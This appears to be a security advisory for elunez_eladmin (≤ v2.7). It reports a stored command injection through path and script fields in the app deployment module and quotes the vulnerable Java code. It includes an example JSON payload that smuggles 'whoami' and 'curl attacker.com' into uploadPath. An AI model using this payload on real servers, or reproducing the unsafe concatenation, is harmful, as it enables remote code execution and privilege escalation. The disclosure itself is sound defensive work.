AnalogyC0de
[Secruity] Command Injection via SSH Script Injection in App Management in elunez_eladmin ## Identification - **Affected Version:** <= v2.7 (2026.04.21) ## CVE Description A second-order stored command injection vulnerability exists in the application deployment module of elunez_eladmin. While remote script execution is an intended deployment feature, the system suffers from insecure implementation and insufficient input validation. Low-privileged users (with `app:add` or `app:edit` permissions) can bypass weak prefix validations on non-script configuration fields (such as `uploadPath`, `deployPath`, and `backupPath`) by utilizing shell metacharacters like newlines (`\n`) or command substitution (`$()`). Because the system uses direct string concatenation and interactive SSH shells (`ChannelShell`), these dormant payloads are executed with high privileges when an administrator or automated pipeline later triggers the deployment process, leading to unauthorized Remote Code Execution (RCE) and privilege escalation. ## Affected Component - **File(s):** - `me/zhengjie/modules/maint/domain/App.java` - `me/zhengjie/modules/maint/service/impl/DeployServiceImpl.java` - `me/zhengjie/modules/maint/util/ExecuteShellUtil.java` - **Function / Method:** `DeployServiceImpl.deployApp()`, `ExecuteShellUtil.execute()` - **Entry Point:** POST `/api/app` and PUT `/api/app` (JSON fields: `uploadPath`, `deployPath`, `backupPath`, `startScript`, `deployScript`) ## Reproduction Summary 1. **[Poisoning Phase - Low Privilege]** Authenticate as a limited user with `app:add` permissions. 2. **[Bypass]** Send a POST request to `/api/app` to create an app configuration. Bypass the path prefix validation by appending shell metacharacters to path fields (e.g., `"uploadPath": "/opt/apps\nwhoami\ncurl attacker.com"`). The payload is stored in the database. 3. **[Execution Phase - High Privilege]** Wait for a system administrator or an automated CI/CD pipeline to trigger the deployment (`POST /api/deploy/deploy`). 4. **[Impact]** The backend concatenates the poisoned path fields into shell commands (e.g., `mkdir -p /opt/apps\nwhoami`) and executes them via `ChannelShell` on the remote server, achieving unintended RCE. ## Technical Details **1. Insufficient Input Validation (App.java & AppServiceImpl.java)** ```java // me/zhengjie/modules/maint/domain/App.java (Lines 43-62) @ApiModelProperty(value = "上传路径") private String uploadPath; // NO @Pattern validation @ApiModelProperty(value = "启动脚本") private String startScript; // NO validation at all! @ApiModelProperty(value = "部署脚本") private String deployScript; // NO validation at all! ``` ```java // me/zhengjie/modules/maint/service/impl/AppServiceImpl.java (Lines 91-102) // Weak path validation - bypassable with newlines or command substitution if (!(resources.getUploadPath().startsWith(opt) || resources.getUploadPath().startsWith(home))) { throw new BadRequestException("文件只能上传在opt目录或者home目录 "); } ``` **2. Unsafe Command Execution (DeployServiceImpl.java)** ```java // Vulnerability #1: mkdir Command Injection (Line 144-146) executeShellUtil.execute("mkdir -p " + app.getUploadPath()); // Vulnerability #2: Deploy Script Injection (Line 166) String deployScript = app.getDeployScript(); executeShellUtil.execute(deployScript); // Vulnerability #3: Start Script Injection (Line 291, 374) executeShellUtil.execute(app.getStartScript()); // Vulnerability #4 & #5: rm and cp Command Injection (Lines 369, 372) executeShellUtil.execute("rm -rf " + deployPath + FILE_SEPARATOR + resources.getAppName()); executeShellUtil.execute("cp -r " + backupPath + "/. " + deployPath); ``` **3. Direct Shell Mechanism (ExecuteShellUtil.java)** ```java // me/zhengjie/modules/maint/util/ExecuteShellUtil.java (Lines 52-64) public int execute(final String command) { // ... ChannelShell channel = (ChannelShell) session.openChannel("shell"); channel.connect(); printWriter = new PrintWriter(channel.getOutputStream()); printWriter.println(command); // Direct shell interpretation! printWriter.println("exit"); printWriter.flush(); // ... } ``` **Example Attack Payload (Bypassing Path Validation):** ```json { "name": "malicious", "uploadPath": "/opt/apps\nwhoami\ncurl attacker.com" } ``` ## Validation Notes - **Entry Point:** Verified at `AppController.java:67` (Direct entity binding). - **Validation:** Verified at `AppServiceImpl.java:67-102`. Partial validation only. No validation on `startScript` and `deployScript` fields. Weak path validation on `uploadPath` (prefix check bypassable with newlines and command substitution). - **Execution:** Verified at `DeployServiceImpl.java:144,166,291`. Multiple injection points. - **Sink:** Verified at `ExecuteShellUtil.java:59`. Direct shell execution via `ChannelShell` confirms Command Injection (CWE-77).